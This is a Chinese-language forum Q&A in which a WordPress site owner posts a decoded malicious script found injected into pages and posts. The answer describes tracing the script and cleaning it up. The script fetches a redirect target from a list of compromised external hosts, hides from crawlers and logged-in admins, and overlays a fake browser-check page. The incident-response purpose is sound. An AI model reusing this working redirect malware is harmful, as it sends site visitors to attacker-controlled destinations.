WordPress中的可疑代码有什么想法如何删除?

时间:2016-12-06 14:06:50

标签: wordpress security

(function () {
    //<script>
    var w_location = null;

    var domains = [
        'http://kntsv.nl/images/tmp.php',
        'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
        'http://langedijke.nl/plugins/tmp.php',
        'http://megateuf.edelo.net/cgi-bin/tmp.php',
        'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
        'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
        'http://yofeet.com/drupal/modules/tmp.php',
        'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
        'http://www.devonportmotors.co.nz/images/tmp.php'
    ];

    function getDomainName(domain) {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                if (xhr.responseText && xhr.responseText.trim().length > 0) {
                    w_location = xhr.responseText.trim();
                }
            }
        };
        xhr.open('GET', domains[0], true);
        xhr.send();
    }

    for (var i = 0; i < domains.length; i++) {
        getDomainName(domains[i]);
    }

    function start() {

        var from = document.referrer;
        var i;

        // If it's direct
        var eee = ["", " "];

        var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];


        if (checkCookie()) {
            return;
        }
        var uagent = navigator.userAgent;
        if (!uagent || uagent.length == 0) {
            return;
        }
        uagent = uagent.toLowerCase();
        if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
            || uagent.indexOf('crawl') != -1) {

        } else {
            hideWebSite();
        }

        function getCookie(c_name) {
            var c_value = document.cookie;
            var c_start = c_value.indexOf(" " + c_name + "=");
            if (c_start == -1) {
                c_start = c_value.indexOf(c_name + "=");
            }
            if (c_start == -1) {
                c_value = null;
            }
            else {
                c_start = c_value.indexOf("=", c_start) + 1;
                var c_end = c_value.indexOf(";", c_start);
                if (c_end == -1) {
                    c_end = c_value.length;
                }
                c_value = unescape(c_value.substring(c_start, c_end));
            }
            return c_value;
        }

        function setCookie(c_name, value, exdays) {
            var exdate = new Date();
            exdate.setDate(exdate.getDate() + exdays);
            var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
            document.cookie = c_name + "=" + c_value;
        }

        function checkCookie() {
            if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
                return true;
            } else {
                localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
            }
            var referrerRedirectCookie = getCookie("referrerRedirectCookie");
            if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
                return true;
            } else if (document.cookie.indexOf('wordpress_logged') !== -1
                || document.cookie.indexOf('wp-settings') !== -1
                || document.cookie.indexOf('wordpress_test') !== -1) {
                return true;
            } else {
                setCookie("referrerRedirectCookie", "do not redirect", 730);
                return false;
            }
        }

    }


    function createPopup() {
        var popup = document.createElement('div');
        popup.style.position = 'absolute';
        popup.style.width = '100%';
        popup.style.height = '100%';
        popup.style.left = 0;
        popup.style.top = 0;
        popup.style.backgroundColor = 'white';
        popup.style.zIndex = 99999;
        document.body.appendChild(popup);

        popup.onclick = function () {
            var intervalId = setInterval(() = > {
                    if (
            !w_location
            )
            {
                return;
            }
            clearInterval(intervalId);
            window.location = w_location;
        },
            10
            )
            ;

        };

        var p = document.createElement('p');
        p.innerText = "Checking your browser before accessing "
            + window.location.host + "...";
        p.style.textAlign = 'center';
        //p.style.margin = '20px auto';
        //p.style.left = '20px';
        p.style.fontSize = 'x-large';
        p.style.position = 'relative';
        p.textContent = p.innerText;
        popup.appendChild(p);

        return popup;
    }

    function createButton() {
        var button = document.createElement('div');
        button.style.position = 'absolute';
        button.style.top = '20%';
        button.style.left = '10%';
        button.style.right = '10%';
        button.style.width = '80%';
        button.style.border = "1px solid black";
        button.style.textAlign = 'center';
        button.style.verticalAlign = 'middle';
        button.style.margin = '0, auto';
        button.style.cursor = 'pointer';
        button.style.fontSize = 'xx-large';
        button.style.borderRadius = '5px';
        button.onclick = function () {
            window.location = w_location;
        };
        button.onmouseover = function () {
            button.style.border = '1px solid red';
            button.style.color = 'red';
        };
        button.onmouseout = function () {
            button.style.border = '1px solid black';
            button.style.color = 'black';
        };

        button.innerText = "Continue";
        button.textContent = button.innerText;
        return button;
    }

    var hideWebSite = function () {
        var popup = createPopup();
        var button = createButton();
        popup.appendChild(button);

    };

    var readyStateCheckInterval = setInterval(function () {
        if (document.readyState === 'complete'
            || document.readyState == 'interactive') {
            clearInterval(readyStateCheckInterval);
            start();
        }
    }, 10);
    //</script>


})

我尝试过grep代码,但是找不到任何东西,我把MySQL转储成了完整的数据库,但是没有找到任何东西。

我运行了clamscan但我找不到任何问题,我对Visual Composer的疑问是,但是当我在Visual Composer中使用grep时,我看不到这段代码。

更新

这是受感染时网站显示的内容:

enter image description here

您可以访问Chrome开发工具控制台,查看该消息的来源和按钮(覆盖,不应该存在),并查看变量 ZJPMAWHWOE 的值,它会为您提供一堆JS代码,但在变量中它是加密的,一旦代码运行并被解密,它就是上面发布的JS代码。

如果您访问网站https://sitecheck.sucuri.net/并检查您的网站,那么您将收到他们的感染提醒:

enter image description here

1 个答案:

答案 0 :(得分:3)

经过进一步调查,我们发现了以下内容:

正如OP和其他人在评论中指出的那样,GREP进入了网站的文件和其他网站&#39;同一服务器中的任何受感染代码痕迹(加密或解密)的文件都没有给出任何结果,这意味着感染不在任何文件中(至少不是那种形式)。

我们在页面底部注意到了一些额外的垃圾字符,我们有了#34; legal&#34;声明:

enter image description here

跟踪最终HTML的哪个部分感染了(和/或垃圾字符),我们的案例中寻找JS变量 ZJPMAWHWOE

enter image description here

有效地,脚本代码存在于一个已知的HTML片段中,对于我们来说,这是#34; legal&#34;存在于我们的一个WordPress页面中的页面。

现在指向在WordPress中直接编辑的内页/帖子中的代码。我们进去检查合法页面并在那里找到它(首先注意到相同的垃圾字符):

enter image description here

然后在向下滚动时(在文本视图中,获取页面的原始HTML)我们得到了这个:

enter image description here

我们检查了网站中的其他网页和帖子,其中包含相同的注入代码。

一旦我们清理了它们,所有感染似乎都消失了。

现在,这次攻击是如何完成的?我们的理论是,只有通过获取WordPress用户凭据和编辑页面/帖子;在我们的情况下,这是相当容易的,因为我们的/ wp-admin登录页面不受HTTPS保护,因此我们的用户和密码很容易被嗅探;我们认为这是他们获得用户凭据的方式,然后编辑页面/帖子以添加恶意代码。

除了清理工作外,我们还做了以下工作:

  • 更新了系统密码数据库
  • 从WordPress删除了所有用户;我们只留下'admin'和我的用户(都有管理员角色)
  • 更新了用户'admin'和我的用户
  • 的密码
  • 使用博客编辑器的新密码重新创建用户

正在进行中:我们为WordPress提供HTTPS,以保护每次登录wp-admin时提交的用户/密码信息。

我还想了解有关如何提高WordPress安全性的其他建议,以及其他关于如何在页面/帖子中注入恶意代码的理论。